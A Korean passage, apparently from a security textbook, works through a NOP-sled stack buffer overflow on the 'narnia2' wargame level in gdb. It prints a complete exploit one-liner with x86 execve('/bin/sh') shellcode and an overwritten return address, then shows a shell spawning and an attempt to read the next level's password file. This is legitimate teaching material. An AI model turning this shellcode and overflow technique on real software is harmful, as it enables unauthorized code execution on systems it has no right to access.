아래로 스크롤하다 보면, 그림 1-10과 같은 부분이 보일 것이다.
▲ 그림 1-10 NOP 슬레드 공격
초기 NOP(x90) 다음에 셸 코드가 위치하고, 다시 NOP가 나오고 마지막에 BBBB(0x42424242)가 있다. 셸 코드를 실행하려면 BBBB를 NOP 슬레드(썰매) 안에 있는 주소로 변경한다. 여기서는 간단히 NOP의 첫 번째 셋을 가리키는 스택 주소 0xffffd850을 사용한다. 리틀 엔디언을 유념하고, 다음 명령을 실행하자.
(gdb) run `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`
Starting program: /games/narnia/narnia2 `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`
process 5823 is executing new program: /bin/dash
$ cat /etc/narnia_pass/narnia3
cat: /etc/narnia_pass/narnia3: Permission denied